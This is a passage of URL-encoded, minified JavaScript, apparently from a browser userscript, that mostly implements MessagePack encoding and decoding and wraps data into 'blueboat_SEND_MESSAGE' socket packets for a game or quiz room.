e%3DJSON.parse(De))%2CLe%3DObject.assign(%7B%7D%2CPe%2CLe)%3Blet%20qe%3DRe(%22hotkeys%22)%2CUe%3D%7B%7D%3Bfunction%20je(e%2Ct)%7Breturn%20e.matches(t)%3Fe%3Ae.parentElement%3Fje(e.parentElement%2Ct)%3Anull%7Dfunction%20Be(e)%7Bvar%20t%3DMath.round(e).toString(16)%3Breturn%201%3D%3Dt.length%3F%220%22%2Bt%3At%7Dfunction%20He()%7Breturn%22undefined%22%3D%3Dtypeof%20unsafeWindow%3Fwindow%3AunsafeWindow%7Dfunction%20ze(e%2Ct%2Cn)%7Bfor(var%20r%3D0%2Co%3D0%2Ci%3Dn.length%3Bo%3Ci%3Bo%2B%2B)(r%3Dn.charCodeAt(o))%3C128%3Fe.setUint8(t%2B%2B%2Cr)%3A(r%3C2048%3Fe.setUint8(t%2B%2B%2C192%7Cr%3E%3E6)%3A(r%3C55296%7C%7C57344%3C%3Dr%3Fe.setUint8(t%2B%2B%2C224%7Cr%3E%3E12)%3A(o%2B%2B%2Cr%3D65536%2B((1023%26r)%3C%3C10%7C1023%26n.charCodeAt(o))%2Ce.setUint8(t%2B%2B%2C240%7Cr%3E%3E18)%2Ce.setUint8(t%2B%2B%2C128%7Cr%3E%3E12%2663))%2Ce.setUint8(t%2B%2B%2C128%7Cr%3E%3E6%2663))%2Ce.setUint8(t%2B%2B%2C128%7C63%26r))%7Dqe%26%26(Ue%3DJSON.parse(qe))%3Bvar%20Ve%3D%7Bencode%3Afunction(e%2Ct%2Cn)%7Blet%20r%3Breturn%20r%3DArray.isArray(e)%3F%7Btype%3A2%2Cdata%3Ae%2Coptions%3A%7Bcompress%3A!0%7D%2Cnsp%3A%22%2F%22%7D%3A%7Btype%3A2%2Cdata%3A%5B%22blueboat_SEND_MESSAGE%22%2C%7Broom%3An%2Ckey%3Ae%2Cdata%3At%7D%5D%2Coptions%3A%7Bcompress%3A!0%7D%2Cnsp%3A%22%2F%22%7D%2Cfunction(e)%7Bvar%20t%3D%5B%5D%2Cn%3D%5B%5D%2Cr%3Dfunction%20e(t%2Cn%2Cr)%7Bvar%20o%3Dtypeof%20r%2Ci%3D0%2Cs%3D0%2Ca%3D0%2Cc%3D0%2Cl%3D0%2Cu%3D0%3Bif(%22string%22%3D%3D%3Do)%7Bif((l%3Dfunction(e)%7Bfor(var%20t%3D0%2Cn%3D0%2Cr%3D0%2Co%3De.length%3Br%3Co%3Br%2B%2B)(t%3De.charCodeAt(r))%3C128%3Fn%2B%3D1%3At%3C2048%3Fn%2B%3D2%3At%3C55296%7C%7C57344%3C%3Dt%3Fn%2B%3D3%3A(r%2B%2B%2Cn%2B%3D4)%3Breturn%20n%7D(r))%3C32)t.push(160%7Cl)%2Cu%3D1%3Belse%20if(l%3C256)t.push(217%2Cl)%2Cu%3D2%3Belse%20if(l%3C65536)t.push(218%2Cl%3E%3E8%2Cl)%2Cu%3D3%3Belse%7Bif(!(l%3C4294967296))throw%20new%20Error(%22String%20too%20long%22)%3Bt.push(219%2Cl%3E%3E24%2Cl%3E%3E16%2Cl%3E%3E8%2Cl)%2Cu%3D5%7Dreturn%20n.push(%7Bh%3Ar%2Cu%3Al%2Ct%3At.length%7D)%2Cu%2Bl%7Dif(%22number%22%3D%3D%3Do)return%20Math.floor(r)%3D%3D%3Dr%26%26isFinite(r)%3F0%3C%3Dr%3Fr%3C128%3F(t.push(r)%2C1)%3Ar%3C256%3F(t.push(204%2Cr)%2C2)%3Ar%3C65536%3F(t.push(205%2Cr%3E%3E8%2Cr)%2C3)%3Ar%3C4294967296%3F(t.push(206%2Cr%3E%3E24%2Cr%3E%3E16%2Cr%3E%3E8%2Cr)%2C5)%3A(a%3Dr%2FMath.pow(2%2C32)%3E%3E0%2Cc%3Dr%3E%3E%3E0%2Ct.push(207%2Ca%3E%3E24%2Ca%3E%3E16%2Ca%3E%3E8%2Ca%2Cc%3E%3E24%2Cc%3E%3E16%2Cc%3E%3E8%2Cc)%2C9)%3A-32%3C%3Dr%3F(t.push(r)%2C1)%3A-128%3C%3Dr%3F(t.push(208%2Cr)%2C2)%3A-32768%3C%3Dr%3F(t.push(209%2Cr%3E%3E8%2Cr)%2C3)%3A-2147483648%3C%3Dr%3F(t.push(210%2Cr%3E%3E24%2Cr%3E%3E16%2Cr%3E%3E8%2Cr)%2C5)%3A(a%3DMath.floor(r%2FMath.pow(2%2C32))%2Cc%3Dr%3E%3E%3E0%2Ct.push(211%2Ca%3E%3E24%2Ca%3E%3E16%2Ca%3E%3E8%2Ca%2Cc%3E%3E24%2Cc%3E%3E16%2Cc%3E%3E8%2Cc)%2C9)%3A(t.push(203)%2Cn.push(%7Bo%3Ar%2Cu%3A8%2Ct%3At.length%7D)%2C9)%3Bif(%22object%22%3D%3D%3Do)%7Bif(null%3D%3D%3Dr)return%20t.push(192)%2C1%3Bif(Array.isArray(r))%7Bif((l%3Dr.length)%3C16)t.push(144%7Cl)%2Cu%3D1%3Belse%20if(l%3C65536)t.push(220%2Cl%3E%3E8%2Cl)%2Cu%3D3%3Belse%7Bif(!(l%3C4294967296))throw%20new%20Error(%22Array%20too%20large%22)%3Bt.push(221%2Cl%3E%3E24%2Cl%3E%3E16%2Cl%3E%3E8%2Cl)%2Cu%3D5%7Dfor(i%3D0%3Bi%3Cl%3Bi%2B%2B)u%2B%3De(t%2Cn%2Cr%5Bi%5D)%3Breturn%20u%7Dif(r%20instanceof%20Date)%7Bvar%20f%3Dr.getTime()%3Breturn%20a%3DMath.floor(f%2FMath.pow(2%2C32))%2Cc%3Df%3E%3E%3E0%2Ct.push(215%2C0%2Ca%3E%3E24%2Ca%3E%3E16%2Ca%3E%3E8%2Ca%2Cc%3E%3E24%2Cc%3E%3E16%2Cc%3E%3E8%2Cc)%2C10%7Dif(r%20instanceof%20ArrayBuffer)%7Bif((l%3Dr.byteLength)%3C256)t.push(196%2Cl)%2Cu%3D2%3Belse%20if(l%3C65536)t.push(197%2Cl%3E%3E8%2Cl)%2Cu%3D3%3Belse%7Bif(!(l%3C4294967296))throw%20new%20Error(%22Buffer%20too%20large%22)%3Bt.push(198%2Cl%3E%3E24%2Cl%3E%3E16%2Cl%3E%3E8%2Cl)%2Cu%3D5%7Dreturn%20n.push(%7Bl%3Ar%2Cu%3Al%2Ct%3At.length%7D)%2Cu%2Bl%7Dif(%22function%22%3D%3Dtypeof%20r.toJSON)return%20e(t%2Cn%2Cr.toJSON())%3Bvar%20d%3D%5B%5D%2Ch%3D%22%22%2Cp%3DObject.keys(r)%3Bfor(i%3D0%2Cs%3Dp.length%3Bi%3Cs%3Bi%2B%2B)%22function%22!%3Dtypeof%20r%5Bh%3Dp%5Bi%5D%5D%26%26d.push(h)%3Bif((l%3Dd.length)%3C16)t.push(128%7Cl)%2Cu%3D1%3Belse%20if(l%3C65536)t.push(222%2Cl%3E%3E8%2Cl)%2Cu%3D3%3Belse%7Bif(!(l%3C4294967296))throw%20new%20Error(%22Object%20too%20large%22)%3Bt.push(223%2Cl%3E%3E24%2Cl%3E%3E16%2Cl%3E%3E8%2Cl)%2Cu%3D5%7Dfor(i%3D0%3Bi%3Cl%3Bi%2B%2B)u%2B%3De(t%2Cn%2Ch%3Dd%5Bi%5D)%2Cu%2B%3De(t%2Cn%2Cr%5Bh%5D)%3Breturn%20u%7Dif(%22boolean%22%3D%3D%3Do)return%20t.push(r%3F195%3A194)%2C1%3Bif(%22undefined%22%3D%3D%3Do)return%20t.push(212%2C0%2C0)%2C3%3Bthrow%20new%20Error(%22Could%20not%20encode%22)%7D(t%2Cn%2Ce)%2Co%3Dnew%20ArrayBuffer(r)%2Ci%3Dnew%20DataView(o)%2Cs%3D0%2Ca%3D0%2Cc%3D-1%3B0%3Cn.length%26%26(c%3Dn%5B0%5D.t)%3Bfor(var%20l%2Cu%3D0%2Cf%3D0%2Cd%3D0%2Ch%3Dt.length%3Bd%3Ch%3Bd%2B%2B)if(i.setUint8(a%2Bd%2Ct%5Bd%5D)%2Cd%2B1%3D%3D%3Dc)%7Bif(u%3D(l%3Dn%5Bs%5D).u%2Cf%3Da%2Bc%2Cl.l)for(var%20p%3Dnew%20Uint8Array(l.l)%2Cg%3D0%3Bg%3Cu%3Bg%2B%2B)i.setUint8(f%2Bg%2Cp%5Bg%5D)%3Belse%20l.h%3Fze(i%2Cf%2Cl.h)%3Avoid%200!%3D%3Dl.o%26%26i.setFloat64(f%2Cl.o)%3Ba%2B%3Du%2Cn%5B%2B%2Bs%5D%26%26(c%3Dn%5Bs%5D.t)%7Dlet%20m%3DArray.from(new%20Uint8Array(o))%3Breturn%20m.unshift(4)%2Cnew%20Uint8Array(m).buffer%7D(r)%7D%2Cdecode%3Afunction(e)%7Bfunction%20t(e)%7Bif(this.t%3D0%2Ce%20instanceof%20ArrayBuffer)this.i%3De%2Cthis.s%3Dnew%20DataView(this.i)%3Belse%7Bif(!ArrayBuffer.isView(e))return%20null%3Bthis.i%3De.buffer%2Cthis.s%3Dnew%20DataView(this.i%2Ce.byteOffset%2Ce.byteLength)%7D%7Dt.prototype.g%3Dfunction(e)%7Bfor(var%20t%3Dnew%20Array(e)%2Cn%3D0%3Bn%3Ce%3Bn%2B%2B)t%5Bn%5D%3Dthis.v()%3Breturn%20t%7D%2Ct.prototype.M%3Dfunction(e)%7Bfor(var%20t%3D%7B%7D%2Cn%3D0%3Bn%3Ce%3Bn%2B%2B)t%5Bthis.v()%5D%3Dthis.v()%3Breturn%20t%7D%2Ct.prototype.h%3Dfunction(e)%7Bvar%20t%3Dfunction(e%2Ct%2Cn)%7Bfor(var%20r%3D%22%22%2Co%3D0%2Ci%3Dt%2Cs%3Dt%2Bn%3Bi%3Cs%3Bi%2B%2B)%7Bvar%20a%3De.getUint8(i)%3Bif(0!%3D(128%26a))if(192!%3D(224%26a))if(224!%3D(240%26a))%7Bif(240!%3D(248%26a))throw%20new%20Error(%22Invalid%20byte%20%22%2Ba.toString(16))%3B65536%3C%3D(o%3D(7%26a)%3C%3C18%7C(63%26e.getUint8(%2B%2Bi))%3C%3C12%7C(63%26e.getUint8(%2B%2Bi))%3C%3C6%7C(63%26e.getUint8(%2B%2Bi))%3C%3C0)%3F(o-%3D65536%2Cr%2B%3DString.fromCharCode(55296%2B(o%3E%3E%3E10)%2C56320%2B(1023%26o)))%3Ar%2B%3DString.fromCharCode(o)%7Delse%20r%2B%3DString.fromCharCode((15%26a)%3C%3C12%7C(63%26e.getUint8(%2B%2Bi))%3C%3C6%7C(63%26e.getUint8(%2B%2Bi))%3C%3C0)%3Belse%20r%2B%3DString.fromCharCode((31%26a)%3C%3C6%7C63%26e.getUint8(%2B%2Bi))%3Belse%20r%2B%3DString.fromCharCode(a)%7Dreturn%20r%7D(this.s%2Cthis.t%2Ce)%3Breturn%20this.t%2B%3De%2Ct%7D%2Ct.prototype.l%3Dfunction(e)%7Bvar%20t%3Dthis.i.slice(this.t%2Cthis.t%2Be)%3Breturn%20this.t%2B%3De%2Ct%7D%2Ct.prototype.v%3Dfunction()%7Bif(!this.s)return%20null%3Bvar%20e%2Ct%3Dthis.s.getUint8(this.t%2B%2B)%2Cn%3D0%2Cr%3D0%2Co%3D0%2Ci%3D0%3Bif(t%3C192)return%20t%3C128%3Ft%3At%3C144%3Fthis.M(15%26t)%3At%3C160%3Fthis.g(15%26t)%3Athis.h(31%26t)%3Bif(223%3Ct)return-1*(255-t%2B1)%3Bswitch(t)%7Bcase%20192%3Areturn%20null%3Bcase%20194%3Areturn!1%3Bcase%20195%3Areturn!0%3Bcase%20196%3Areturn%20n%3Dthis.s.getUint8(this.t)%2Cthis.t%2B%3D1%2Cthis.l(n)%3Bcase%20197%3Areturn%20n%3Dthis.s.getUint16(this.t)%2Cthis.t%2B%3D2%2Cthis.l(n)%3Bcase%20198%3Areturn%20n%3Dthis.s.getUint32(this.t)%2Cthis.t%2B%3D4%2Cthis.l(n)%3Bcase%20199%3Areturn%20n%3Dthis.s.getUint8(this.t)%2Cr%3Dthis.s.getInt8(this.t%2B1)%2Cthis.t%2B%3D2%2C%5Br%2Cthis.l(n)%5D%3Bcase%20200%3Areturn%20n%3Dthis.s.getUint16(this.t)%2Cr%3Dthis.s.getInt8(this.t%2B2)%2Cthis.t%2B%3D3%2C%5Br%2Cthis.l(n)%5D%3Bcase%20201%3Areturn%20n%3Dthis.s.getUint32(this.t)%2Cr%3Dthis.s.getInt8(this.t%2B4)%2Cthis.t%2B%3D5%2C%5Br%2Cthis.l(n)%5D%3Bcase%20202%3Areturn%20e%3Dthis.s.getFloat32(this.t)%2Cthis.t%2B%3D4%2Ce%3Bcase%20203%3Areturn%20e%3Dthis.s.getFloat64(this.t)%2Cthis.t%2B%3D8%2Ce%3Bcase%20204%3Areturn%20e%3Dthis.s.getUint8(this.t)%2Cthis.t%2B%3D1%2Ce%3Bcase%20205%3Areturn%20e%3Dthis.s.getUint16(this.t)%2Cthis.t%2B%3D2%2Ce%3Bcase%20206%3Areturn%20e%3Dthis.s.getUint32(this.t)%2Cthis.t%2B%3D4%2Ce%3Bcase%20207%3Areturn%20o%3Dthis.s.getUint32(this.t)*Math.pow(2%2C32)%2Ci%3Dthis.s.getUint32(this.t%2B4)%2Cthis.t%2B%3D8%2Co%2Bi%3Bcase%20208%3Areturn%20e%3Dthis.s.getInt8(this.t)%2Cthis.t%2B%3D1%2Ce%3Bcase%20209%3Areturn%20e%3Dthis.s.getInt16(this.t)%2Cthis.t%2B%3D2%2Ce%3Bcase%20210%3Areturn%20e%3Dthis.s.getInt32(this.t)%2Cthis.t%2B%3D4%2Ce%3Bcase%20211%3Areturn%20o%3Dthis.s.getInt32(this.t)*Math.pow(2%2C32)%2Ci%3Dthis.s.getUint32(this.t%2B4)%2Cthis.t%2B%3D8%2Co%2Bi%3Bcase%20212%3Areturn%20r%3Dthis.s.getInt8(this.t)%2Cthis.t%2B%3D1%2C0%3D%3D%3Dr%3Fvoid(this.t%2B%3D1)%3A%5Br%2Cthis.l(1)%5D%3Bcase%20213%3Areturn%20r%3Dthis.s.getInt8(this.t)%2Cthis.t%2B%3D1%2C%5Br%2Cthis.l(2)%5D%3Bcase%20214%3Areturn%20r%3Dthis.s.getInt8(this.t)%2Cthis.t%2B%3D1%2C%5Br%2Cthis.l(4)%5D%3Bcase%20215%3Areturn%20r%3Dthis.s.getInt8(this.t)%2Cthis.t%2B%3D1%2C0%3D%3D%3Dr%3F(o%3Dthis.s.getInt32(this.t)*Math.pow(2%2C32)%2Ci%3Dthis.s.getUint32(this.t%2B4)%2Cthis.t%2B%3D8%2Cnew%20Date(o%2Bi))%3A%5Br%2Cthis.l(8)%5D%3Bcase%20216%3Areturn%20r%3Dthis.s.getInt8(this.t)%2Cthis.t%2B%3D1%2C%5Br%2Cthis.l(16)%5D%3Bcase%20217%3Areturn%20n%3Dthis.s.getUint8(this.t)%2Cthis.t%2B%3D1%2Cthis.h(n)%3Bcase%20218%3Areturn%20n%3Dthis.s.getUint16(this.t)%2Cthis.t%2B%3D2%2Cthis.h(n)%3Bcase%20219%3Areturn%20n%3Dthis.s.getUint32(this.t)%2Cthis.t%2B%3D4%2Cthis.h(n)%3Bcase%20220%3Areturn%20n%3Dthis.s.getUint16(this.t)%2Cthis.t%2B%3D2%2Cthis.g(n)%3Bcase%20221%3Areturn%20n%3Dthis.s.getUint32(this.t)%2Cthis.t%2B%3D4%2Cthis.g(n)%3Bcase%20222%3Areturn%20n%3Dthis.s.getUint16(this.t)%2Cthis.t%2B%3D2%2Cthis.M(n)%3Bcase%20223%3Areturn%20n%3Dthis.s.getUint32(this.t)%2Cthis.t%2B%3D4%2Cthis.M(n)%7Dthrow%20new%20Error(%22Could%20not%20parse%22)%7D%3Bconst%20n%3Dfunction(e)%7Bvar%20n%3Dnew%20t(e%3De.slice(1))%2Cr%3Dn.v()%3Breturn%20n.t%3D%3D%3De.byteLength%3Fr%3Anull%7D(e)%3Breturn%20n%3F.data%3F.%5B1%5D%7D%7D%2CFe%3D%7B%7D%3BObject.defineProperty(Fe%2C%22__esModule%22%2C%7Bvalue%3A!0%7D)%3Bvar%20We%3DFe.decode%3DYe%3DFe.encode%3Dvoid%200%3Bfunction%20Je(e%2Ct)%7Bif(this._offset%3Dt%2Ce%20instanceof%20ArrayBuffer)this._buffer%3De%2Cthis._view%3Dnew%20DataView(this._buffer)%3Belse%7Bif(!ArrayBuffer.isView(e))throw%20new%20Error(%22Invalid%20argument%22)%3Bthis._buffer%3De.buffer%2Cthis._view%3Dnew%20DataView(this._buffer%2Ce.byteOffset%2Ce.byteLength)%7D%7DJe.prototype._array%3Dfunction(e)%7Bfor(var%20t%3Dnew%20Array(e)%2Cn%3D0%3Bn%3Ce%3Bn%2B%2B)t%5Bn%5D%3Dthis._parse()%3Breturn%20t%7D%2CJe.prototype._map%3Dfunction(e)%7Bfor(var%20t%3D%7B%7D%2Cn%3D0%3Bn%3Ce%3Bn%2B%2B)t%5Bthis._parse()%5D%3Dthis._parse()%3Breturn%20t%7D%2CJe.prototype._str%3Dfunction(e)%7Bvar%20t%3Dfunction(e%2Ct%2Cn)%7Bfor(var%20r%3D%22%22%2Co%3D0%2Ci%3Dt%2Cs%3Dt%2Bn%3Bi%3Cs%3Bi%2B%2B)%7Bvar%20a%3De.getUint8(i)%3Bif(0!%3D(128%26a))if(192!%3D(224%26a))if(224!%3D(240%26a))%7Bif(240!%3D(248%26a))throw%20new%20Error(%22Invalid%20byte%20%22%2Ba.toString(16))%3B(o%3D(7%26a)%3C%3C18%7C(63%26e.getUint8(%2B%2Bi))%3C%3C12%7C(63%26e.getUint8(%2B%2Bi))%3C%3C6%7C(63%26e.getUint8(%2B%2Bi))%3C%3C0)%3E%3D65536%3F(o-%3D65536%2Cr%2B%3DString.fromCharCode(55296%2B(o%3E%3E%3E10)%2C56320%2B(1023%26o)))%3Ar%2B%3DString.fromCharCode(o)%7Delse%20r%2B%3DString.fromCharCode((15%26a)%3C%3C12%7C(63%26e.getUint8(%2B%2Bi))%3C%3C6%7C(63%26e.getUint8(%2B%2Bi))%3C%3C0)%3Belse%20r%2B%3DString.fromCharCode((31%26a)%3C%3C6%7C63%26e.getUint8(%2B%2Bi))%3Belse%20r%2B%3DString.fromCharCode(a)%7Dreturn%20r%7D(this._view%2Cthis._offset%2Ce)%3Breturn%20this._offset%2B%3De%2Ct%7D%2CJe.prototype._bin%3Dfunction(e)%7Bvar%20t%3Dthis._buffer.slice(this._offset%2Cthis._offset%2Be)%3Breturn%20this._offset%2B%3De%2Ct%7D%2CJe.prototype._parse%3Dfunction()%7Bvar%20e%2Ct%3Dthis._view.getUint8(this._offset%2B%2B)%2Cn%3D0%2Cr%3D0%2Co%3D0%2Ci%3D0%3Bif(t%3C192)return%20t%3C128%3Ft%3At%3C144%3Fthis._map(15%26t)%3At%3C160%3Fthis._array(15%26t)%3Athis._str(31%26t)%3Bif(t%3E223)return-1*(255-t%2B1)%3Bswitch(t)%7Bcase%20192%3Areturn%20null%3Bcase%20194%3Areturn!1%3Bcase%20195%3Areturn!0%3Bcase%20196%3Areturn%20n%3Dthis._view.getUint8(this._offset)%2Cthis._offset%2B%3D1%2Cthis._bin(n)%3Bcase%20197%3Areturn%20n%3Dthis._view.getUint16(this._offset)%2Cthis._offset%2B%3D2%2Cthis._bin(n)%3Bcase%20198%3Areturn%20n%3Dthis._view.getUint32(this._offset)%2Cthis._offset%2B%3D4%2Cthis._bin(n)%3Bcase%20199%3Aif(n%3Dthis._view.getUint8(this._offset)%2Cr%3Dthis._view.getInt8(this._offset%2B1)%2Cthis._offset%2B%3D2%2C-1%3D%3D%3Dr)%7Bvar%20s%3Dthis._view.getUint32(this._offset)%3Breturn%20o%3Dthis._view.getInt32(this._offset%2B4)%2Ci%3Dthis._view.getUint32(this._offset%2B8)%2Cthis._offset%2B%3D12%2Cnew%20Date(1e3*(4294967296*o%2Bi)%2Bs%2F1e6)%7Dreturn%5Br%2Cthis._bin(n)%5D%3Bcase%20200%3Areturn%20n%3Dthis._view.getUint16(this._offset)%2Cr%3Dthis._view.getInt8(this._offset%2B2)%2Cthis._offset%2B%3D3%2C%5Br%2Cthis._bin(n)%5D%3Bcase%20201%3Areturn%20n%3Dthis._view.getUint32(this._offset)%2Cr%3Dthis._view.getInt8(this._offset%2B4)%2Cthis._offset%2B%3D5%2C%5Br%2Cthis._bin(n)%5D%3Bcase%20202%3Areturn%20e%3Dthis._view.getFloat32(this._offset)%2Cthis._offset%2B%3D4%2Ce%3Bcase%20203%3Areturn%20e%3Dthis._view.getFloat64(this._offset)%2Cthis._offset%2B%3D8%2Ce%3Bcase%20204%3Areturn%20e%3Dthis._view.getUint8(this._offset)%2Cthis._offset%2B%3D1%2Ce%3Bcase%20205%3Areturn%20e%3Dthis._view.getUint16(this._offset)%2Cthis._offset%2B%3D2%2Ce%3Bcase%20206%3Areturn%20e%3Dthis._view.getUint32(this._offset)%2Cthis._offset%2B%3D4%2Ce%3Bcase%20207%3Areturn%20o%3Dthis._view.getUint32(this._offset)*Math.pow(2%2C32)%2Ci%3Dthis._view.getUint32(this._offset%2B4)%2Cthis._offset%2B%3D8%2Co%2Bi%3Bcase%20208%3Areturn%20e%3Dthis._view.getInt8(this._offset)%2Cthis._offset%2B%3D1%2Ce%3Bcase%20209%3Areturn%20e%3Dthis._view.getInt16(this._offset)%2Cthis._offset%2B%3D2%2Ce%3Bcase%20210%3Areturn%20e%3Dthis._view.getInt32(this._offset)%2Cthis._offset%2B%3D4%2Ce%3Bcase%20211%3Areturn%20o%3Dthis._view.getInt32(this._offset)*Math.pow(2%2C32)%2Ci%3Dthis._view.getUint32(this._offset%2B4)%2Cthis._offset%2B%3D8%2Co%2Bi%3Bcase%20212%3Areturn%20r%3Dthis._view.getInt8(this._offset)%2Cthis._offset%2B%3D1%2C0%3D%3D%3Dr%3Fvoid(this._offset%2B%3D1)%3A%5Br%2Cthis._bin(1)%5D%3Bcase%20213%3Areturn%20r%3Dthis._view.getInt8(this._offset)%2Cthis._offset%2B%3D1%2C%5Br%2Cthis._bin(2)%5D%3Bcase%20214%3Areturn%20r%3Dthis._view.getInt8(this._offset)%2Cthis._offset%2B%3D1%2C-1%3D%3D%3Dr%3F(e%3Dthis._view.getUint32(this._offset)%2Cthis._offset%2B%3D4%2Cnew%20Date(1e3*e))%3A%5Br%2Cthis._bin(4)%5D%3Bcase%20215%3Areturn%20r%3Dthis._view.getInt8(this._offset)%2Cthis._offset%2B%3D1%2C0%3D%3D%3Dr%3F(o%3Dthis._view.getInt32(this._offset)*Math.pow(2%2C32)%2Ci%3Dthis._view.getUint32(this._offset%2B4)%2Cthis._offset%2B%3D8%2Cnew%20Date(o%2Bi))%3A-1%3D%3D%3Dr%3F(o%3Dthis._view.getUint32(this._offset)%2Ci%3Dthis._view.getUint32(this._offset%2B4)%2Cthis._offset%2B%3D8%2Cnew%20Date(1e3*(4294967296*(3%26o)%2Bi)%2B(o%3E%3E%3E2)%2F1e6))%3A%5Br%2Cthis._bin(8)%5D%3Bcase%20216%3Areturn%20r%3Dthis._view.getInt8(this._offset)%2Cthis._offset%2B%3D1%2C%5Br%2Cthis._bin(16)%5D%3Bcase%20217%3Areturn%20n%3Dthis._view.getUint8(this._offset)%2Cthis._offset%2B%3D1%2Cthis._str(n)%3Bcase%20218%3Areturn%20n%3Dthis._view.getUint16(this._offset)%2Cthis._offset%2B%3D2%2Cthis._str(n)%3Bcase%20219%3Areturn%20n%3Dthis._view.getUint32(this._offset)%2Cthis._offset%2B%3D4%2Cthis._str(n)%3Bcase%20220%3Areturn%20n%3Dthis._view.getUint16(this._offset)%2Cthis._offset%2B%3D2%2Cthis._array(n)%3Bcase%20221%3Areturn%20n%3Dthis._view.getUint32(this._offset)%2Cthis._offset%2B%3D4%2Cthis._array(n)%3Bcase%20222%3Areturn%20n%3Dthis._view.getUint16(this._offset)%2Cthis._offset%2B%3D2%2Cthis._map(n)%3Bcase%20223%3Areturn%20n%3Dthis._view.getUint32(this._offset)%2Cthis._offset%2B%3D4%2Cthis._map(n)%7Dthrow%20new%20Error(%22Could%20not%20parse%22)%7D%2CWe%3DFe.decode%3Dfunction(e%2Ct%3D0)%7Bvar%20n%3Dnew%20Je(e%2Ct)%2Cr%3Dn._parse()%3Bif(n._offset!%3D%3De.byteLength)throw%20new%20Error(e.byteLength-n._offset%2B%22%20trailing%20bytes%22)%3Breturn%20r%7D%3Bvar%20Ge%3D4294967295%2CKe%3D17179869183%3Bfunction%20Qe(e%2Ct%2Cn)%7Bfor(var%20r%3D0%2Co%3D0%2Ci%3Dn.length%3Bo%3Ci%3Bo%2B%2B)(r%3Dn.charCodeAt(o))%3C128%3Fe.setUint8(t%2B%2B%2Cr)%3Ar%3C2048%3F(e.setUint8(t%2B%2B%2C192%7Cr%3E%3E6)%2Ce.setUint8(t%2B%2B%2C128%7C63%26r))%3Ar%3C55296%7C%7Cr%3E%3D57344%3F(e.setUint8(t%2B%2B%2C224%7Cr%3E%3E12)%2Ce.setUint8(t%2B%2B%2C128%7Cr%3E%3E6%2663)%2Ce.setUint8(t%2B%2B%2C128%7C63%26r))%3A(o%2B%2B%2Cr%3D65536%2B((1023%26r)%3C%3C10%7C1023%26n.charCodeAt(o))%2Ce.setUint8(t%2B%2B%2C240%7Cr%3E%3E18)%2Ce.setUint8(t%2B%2B%2C128%7Cr%3E%3E12%2663)%2Ce.setUint8(t%2B%2B%2C128%7Cr%3E%3E6%2663)%2Ce.setUint8(t%2B%2B%2C128%7C63%26r))%7Dfunction%20Xe(e%2Ct%2Cn)%7Bvar%20r%3Dtypeof%20n%2Co%3D0%2Ci%3D0%2Cs%3D0%2Ca%3D0%2Cc%3D0%2Cl%3D0%3Bif(%22string%22%3D%3D%3Dr)%7Bif(c%3Dfunction(e)%7Bfor(var%20t%3D0%2Cn%3D0%2Cr%3D0%2Co%3De.length%3Br%3Co%3Br%2B%2B)(t%3De.charCodeAt(r))%3C128%3Fn%2B%3D1%3At%3C2048%3Fn%2B%3D2%3At%3C55296%7C%7Ct%3E%3D57344%3Fn%2B%3D3%3A(r%2B%2B%2Cn%2B%3D4)%3Breturn%20n%7D(n)%2Cc%3C32)e.push(160%7Cc)%2Cl%3D1%3Belse%20if(c%3C256)e.push(217%2Cc)%2Cl%3D2%3Belse%20if(c%3C65536)e.push(218%2Cc%3E%3E8%2Cc)%2Cl%3D3%3Belse%7Bif(!(c%3C4294967296))throw%20new%20Error(%22String%20too%20long%22)%3Be.push(219%2Cc%3E%3E24%2Cc%3E%3E16%2Cc%3E%3E8%2Cc)%2Cl%3D5%7Dreturn%20t.push(%7B_str%3An%2C_length%3Ac%2C_offset%3Ae.length%7D)%2Cl%2Bc%7Dif(%22number%22%3D%3D%3Dr)return%20Math.floor(n)%3D%3D%3Dn%26%26isFinite(n)%3Fn%3E%3D0%3Fn%3C128%3F(e.push(n)%2C1)%3An%3C256%3F(e.push(204%2Cn)%2C2)%3An%3C65536%3F(e.push(205%2Cn%3E%3E8%2Cn)%2C3)%3An%3C4294967296%3F(e.push(206%2Cn%3E%3E24%2Cn%3E%3E16%2Cn%3E%3E8%2Cn)%2C5)%3A(s%3Dn%2FMath.pow(2%2C32)%3E%3E0%2Ca%3Dn%3E%3E%3E0%2Ce.push(207%2Cs%3E%3E24%2Cs%3E%3E16%2Cs%3E%3E8%2Cs%2Ca%3E%3E24%2Ca%3E%3E16%2Ca%3E%3E8%2Ca)%2C9)%3An%3E%3D-32%3F(e.push(n)%2C1)%3An%3E%3D-128%3F(e.push(208%2Cn)%2C2)%3An%3E%3D-32768%3F(e.push(209%2Cn%3E%3E8%2Cn)%2C3)%3An%3E%3D-2147483648%3F(e.push(210%2Cn%3E%3E24%2Cn%3E%3E16%2Cn%3E%3E8%2Cn)%2C5)%3A(s%3DMath.floor(n%2FMath.pow(2%2C32))%2Ca%3Dn%3E%3E%3E0%2Ce.push(211%2Cs%3E%3E24%2Cs%3E%3E16%2Cs%3E%3E8%2Cs%2Ca%3E%3E24%2Ca%3E%3E16%2Ca%3E%3E8%2Ca)%2C9)%3A(e.push(203)%2Ct.push(%7B_float%3An%2C_length%3A8%2C_offset%3Ae.length%7D)%2C9)%3Bif(%22object%22%3D%3D%3Dr)%7Bif(null%3D%3D%3Dn)return%20e.push(192)%2C1%3Bif(Array.isArray(n))%7Bif((c%3Dn.length)%3C16)e.push(144%7Cc)%2Cl%3D1%3Belse%20if(c%3C65536)e.push(220%2Cc%3E%3E8%2Cc)%2Cl%3D3%3Belse%7Bif(!(c%3C4294967296))throw%20new%20Error(%22Array%20too%20large%22)%3Be.push(221%2Cc%3E%3E24%2Cc%3E%3E16%2Cc%3E%3E8%2Cc)%2Cl%3D5%7Dfor(o%3D0%3Bo%3Cc%3Bo%2B%2B)l%2B%3DXe(e%2Ct%2Cn%5Bo%5D)%3Breturn%20l%7Dif(n%20instanceof%20Date)%7Bvar%20u%3Dn.getTime()%2Cf%3DMath.floor(u%2F1e3)%2Cd%3D1e6*(u-1e3*f)%3Breturn%20f%3E%3D0%26%26d%3E%3D0%26%26f%3C%3DKe%3F0%3D%3D%3Dd%26%26f%3C%3DGe%3F(e.push(214%2C255%2Cf%3E%3E24%2Cf%3E%3E16%2Cf%3E%3E8%2Cf)%2C6)%3A(s%3Df%2F4294967296%2Ca%3D4294967295%26f%2Ce.push(215%2C255%2Cd%3E%3E22%2Cd%3E%3E14%2Cd%3E%3E6%2Cs%2Ca%3E%3E24%2Ca%3E%3E16%2Ca%3E%3E8%2Ca)%2C10)%3A(s%3DMath.floor(f%2F4294967296)%2Ca%3Df%3E%3E%3E0%2Ce.push(199%2C12%2C255%2Cd%3E%3E24%2Cd%3E%3E16%2Cd%3E%3E8%2Cd%2Cs%3E%